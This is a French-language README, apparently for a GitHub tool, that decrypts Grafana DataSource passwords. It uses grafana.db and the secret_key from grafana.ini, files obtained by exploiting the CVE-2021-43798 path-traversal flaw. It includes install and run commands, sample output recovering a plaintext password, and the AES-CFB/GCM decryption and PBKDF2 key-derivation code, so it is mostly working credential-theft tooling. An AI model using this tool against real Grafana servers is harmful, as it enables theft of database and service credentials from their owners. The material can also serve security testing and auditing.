
Décrypteur Grafana pour CVE-2021-43798
Ce script déchiffre les mots de passe des DataSources d'une instance Grafana vulnérable à CVE-2021-43798, qui permet la lecture non autorisée de fichiers arbitraires.
Les versions 8.0.0-beta1 à 8.3.0 de Grafana sont vulnérables à une faille de traversée de répertoire qui permet à des utilisateurs non autorisés de lire des fichiers arbitraires sur le serveur. Ce script exploite cette vulnérabilité pour déchiffrer les mots de passe DataSource trouvés dans le fichier grafana.db en utilisant la secret_key trouvée dans le fichier de configuration grafana.ini.
requestsquestionarytermcolorcryptographypip install requests questionary termcolor cryptography
grafana.db et grafana.ini de l'instance Grafana cible.python decrypt.py
Vous pouvez également encoder un mot de passe en clair à l'aide du script en décommentant le code d'exemple dans le script.
Le script détermine l'algorithme de chiffrement utilisé en analysant le payload. L'algorithme de chiffrement par défaut est aes-cfb.
À l'aide de l'algorithme de chiffrement dérivé et de la secret_key de grafana.ini, le script déchiffre le mot de passe DataSource.
Le script inclut également une fonctionnalité permettant de chiffrer un mot de passe en clair en utilisant la même méthode de chiffrement et la même secret_key.
######################################
GRAFANA DECRYPTOR
CVE-2021-43798 Grafana Unauthorized
arbitrary file reading vulnerability
SICARI0
######################################
? Enter the datasource password: anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] grafanaIni_secretKey= SW2YcwTIb9zpOOhoPsMm
[*] DataSourcePassword= anBneWFNQ2z+IDGhz3a7wxaqjimuglSXTeMvhbvsveZwVzreNJSw+hsV4w==
[*] plainText= SuperSecureP@ssw0rd
def decrypt_gcm(block, payload):
gcm = Cipher(algorithms.AES(block), modes.GCM(payload[SALT_LENGTH:SALT_LENGTH+12]), backend=default_backend()).decryptor()
return gcm.update(payload[SALT_LENGTH+12:]) + gcm.finalize()
def decrypt_cfb(block, payload):
if len(payload) < 16:
raise ValueError("Payload too short")
iv = payload[SALT_LENGTH:SALT_LENGTH+16]
payload = payload[SALT_LENGTH+16:]
decryptor = Cipher(algorithms.AES(block), modes.CFB(iv), backend=default_backend()).decryptor()
return decryptor.update(payload) + decryptor.finalize()
def encryption_key_to_bytes(secret, salt):
kdf = PBKDF2HMAC(
algorithm=hashes.SHA256(),
length=32,
salt=salt,
iterations=10000,
backend=default_backend()
)
return kdf.derive(secret.encode())
def decrypt(payload, secret):
alg, payload = derive_encryption_algorithm(payload)
if len(payload) < SALT_LENGTH:
raise ValueError("Unable to compute salt")
salt = payload[:SALT_LENGTH]
key = encryption_key_to_bytes(secret, salt)
block = algorithms.AES(key)
if alg == AES_GCM:
return decrypt_gcm(key, payload)
else:
return decrypt_cfb(key, payload)
def encrypt(payload, secret):
salt = os.urandom(SALT_LENGTH)
key = encryption_key_to_bytes(secret, salt)
block = algorithms.AES(key)
iv = os.urandom(16)
encryptor = Cipher(algorithms.AES(key), modes.CFB(iv), backend=default_backend()).encryptor()
encrypted = encryptor.update(payload) + encryptor.finalize()
return salt + iv + encrypted
Ces fonctions gèrent les processus de déchiffrement et de chiffrement.
N'hésitez pas à ouvrir des issues ou des pull requests si vous trouvez des bogues ou si vous avez des suggestions d'amélioration.
Ce projet est sous licence MIT. Consultez le fichier LICENSE pour plus de détails.